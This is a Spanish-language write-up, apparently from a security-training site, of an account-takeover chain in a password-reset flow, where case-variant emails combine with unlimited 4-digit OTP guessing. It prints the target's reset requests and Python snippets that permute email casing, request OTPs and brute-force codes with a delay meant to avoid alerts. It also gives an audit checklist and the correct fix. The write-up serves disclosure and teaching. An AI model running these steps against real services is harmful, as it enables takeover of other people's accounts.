Respuesta rápida
Dos fallos en el flujo de password reset: el OTP no se ata al email canónico (acepta cualquier variante de mayúsculas/minúsculas) y no hay rate limiting en la verificación. Combinados permiten ATO completo en 12 minutos conociendo solo el email de la víctima, sin interacción y completamente automatizable.
El flujo de reset y los dos fallos
Para entenderlo, primero hay que tener claro cómo funciona el flujo de reset del target:
1. El usuario introduce su email
2. El sistema envía un OTP (código numérico) a ese email
3. El usuario introduce el OTP + nueva contraseña
4. El sistema verifica el OTP y actualiza la contraseña
Parece sólido. El problema está en cómo el sistema trata el email entre el paso 2 y el paso 4.
Fallo 1: el email no se normaliza igual en los dos endpoints
Los emails son case-insensitive. usuario@ejemplo.com y USUARIO@EJEMPLO.COM son la misma dirección. Cualquier sistema bien implementado los convierte a minúsculas antes de procesarlos.
Aquí no ocurre eso de forma consistente. El endpoint que genera el OTP y el endpoint que verifica el OTP tratan el email de forma independiente. Esto significa que un OTP generado para Usuario@Ejemplo.COM puede validarse contra USUARIO@ejemplo.com — el sistema los resuelve al mismo usuario en BD, pero no comprueba que el código fue emitido para esa representación exacta.
Analogía: pides una entrada de cine con el nombre "JUAN GARCÍA" y te dejan entrar con "Juan García". El portero solo mira que el nombre coincide con alguien en la lista, sin verificar que la entrada fue emitida exactamente para esa grafía.
Fallo 2: no hay rate limiting en la verificación del OTP
Un OTP de 4 dígitos tiene exactamente 10.000 combinaciones posibles (de 0000 a 9999). Si el sistema no limita cuántas veces puedes intentar verificar un código, ese espacio es perfectamente iterable por fuerza bruta en cuestión de minutos.
Cómo se combinan los dos fallos
- El atacante toma el email de la víctima, por ejemplo:
victima@ejemplo.com. - Genera todas las variantes de casing posibles de ese email:
Victima@ejemplo.comVICTIMA@ejemplo.comvictima@Ejemplo.comVictima@Ejemplo.Com- … (miles según la longitud del email)
- Para cada variante, solicita un OTP al sistema.
- Prueba un puñado de códigos aleatorios en el endpoint de verificación para esa misma variante.
- Repite hasta acertar.
Cada vez que solicitas un OTP, el sistema genera un número nuevo de 4 dígitos. Probando variante tras variante y unos pocos códigos por cada una, estadísticamente acabas cubriendo el espacio de 10.000 combinaciones. En la práctica, el proceso tardó unos 12 minutos.
Los endpoints implicados
Paso 1 — Solicitar OTP:
POST /napi/partner/checkCode/sms HTTP/2
Content-Type: application/x-www-form-urlencoded
account=Victima@Ejemplo.COM&bizType=1
Paso 2 — Verificar OTP + resetear password:
PUT /napi/partner/password/reset HTTP/2
Content-Type: application/x-www-form-urlencoded
account=VICTIMA@ejemplo.Com
&newPassword=nuevapassword123
&checkCode=4821
Fíjate: en el paso 1 se usa Victima@Ejemplo.COM y en el paso 2 se usa VICTIMA@ejemplo.Com. Son dos representaciones distintas del mismo email. El sistema acepta la verificación igualmente.
El script de explotación, por partes
Generación de variantes de casing
def unique_case_permutations(s: str) -> List[str]:
choices = []
for ch in s:
if ch.isalpha():
choices.append((ch.lower(), ch.upper()))
else:
choices.append((ch,))
out = set("".join(p) for p in itertools.product(*choices))
return sorted(out)
Para cada carácter alfabético del email genera dos opciones (minúscula y mayúscula). Con itertools.product construye todas las combinaciones posibles.
Solicitud del OTP
def post_req1(session: requests.Session, account: str) -> requests.Response:
url = BASE_URL + REQ1_PATH
data = {"account": account, "bizType": "1"}
return session.post(url, data=data, headers=headers, timeout=15)
Para cada variante del email, lanza un POST al endpoint de generación de OTP.
Brute force del OTP
codes_to_try = [f"{random.randint(0, 9999):04d}" for _ in range(4)]
for code4 in codes_to_try:
r2 = put_req2(session, account_variant, new_password, code4)
if is_success(r2):
# ¡Éxito! Password reseteado
Por cada variante de email, prueba 4 códigos aleatorios. Si alguno coincide con el OTP activo en ese momento, el sistema lo acepta y cambia la contraseña.
Rate limiting autopuesto
MIN_DELAY = 0.5 # segundos entre peticiones
El script se autoimpone un delay de 0.5s entre peticiones para no levantar alertas. Esto también confirma que el servidor no tenía ninguna protección propia.
Detector de éxito
SUCCESS_META_CODE = 200
SUCCESS_MESSAGE_SUBSTR = "操作成功" # "operación exitosa" en chino
def is_success(resp: requests.Response) -> bool:
data = resp.json()
meta = data.get("meta")
if meta.get("code") == SUCCESS_META_CODE:
if SUCCESS_MESSAGE_SUBSTR in str(meta.get("message", "")):
return True
La respuesta positiva incluye el string 操作成功 en meta.message. Un detalle interesante que delata el origen del desarrollo del backend y es buen indicador para fingerprinting si encuentras otros targets del mismo stack.
Qué buscar cuando audites flujos similares
Este patrón aparece con más frecuencia de lo que parece. Cuando tengas un flujo de recuperación de contraseña entre manos, comprueba:
- ¿Se normaliza el email antes de generar el OTP? Solicita el OTP en mayúsculas y verifica en minúsculas.
- ¿El OTP está vinculado al email canónico o a la cadena exacta recibida? Son dos cosas distintas y muchos backends solo hacen lo primero.
- ¿Hay rate limiting en el endpoint de verificación? No solo en el de generación. Lanza 50 peticiones seguidas y observa si el servidor reacciona.
- ¿Cuántos dígitos tiene el OTP? 4 dígitos = 10.000 combinaciones. 6 dígitos = 1.000.000. La diferencia entre explotable en minutos o en horas.
- ¿Se invalida el OTP después de N intentos fallidos? Sin lockout, el brute force es viable independientemente del número de dígitos.
Impacto
- Toma de control de cualquier cuenta conociendo solo el email.
- Sin interacción de la víctima en ningún momento.
- Completamente automatizable con un script de menos de 200 líneas.
- Escalable a compromiso masivo de cuentas.
Fix correcto
- Normalizar el email (lowercase) antes de cualquier operación relacionada con OTP, tanto en generación como en verificación.
- Vincular el OTP al identificador canónico de la cuenta, no a la cadena de email recibida.
- Rate limiting + lockout en el endpoint de verificación: máximo N intentos por OTP activo, con bloqueo temporal tras superarlos.
Labs relacionados
Practica chains de email normalization, OTP brute force y reset flows en escenarios reales: labs de ATO.
Practica esto en un lab
Ato
Sigue aprendiendo · cuenta gratis
Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.
Artículos relacionados
Password reset — Puny code, header injection, email normalization, host header
Bypass de password reset con Unicode confusables, Host header injection, email normalization (gmail + alias), token leakage en referer, response manipulation.
CSRF (Cross-Site Request Forgery) — explicado completo con bypasses
CSRF: cómo se explota, defensas comunes (tokens, SameSite, Origin), bypasses (method change, JSON, double-submit, content-type) y dónde buscarlo en cualquier app.
JWT — vulnerabilidades, bypasses y manipulación de claims
alg=none, RS256→HS256 confusion, kid SQLi/path traversal, jku spoofing, secret cracking con hashcat. Cómo cazar JWTs mal verificados.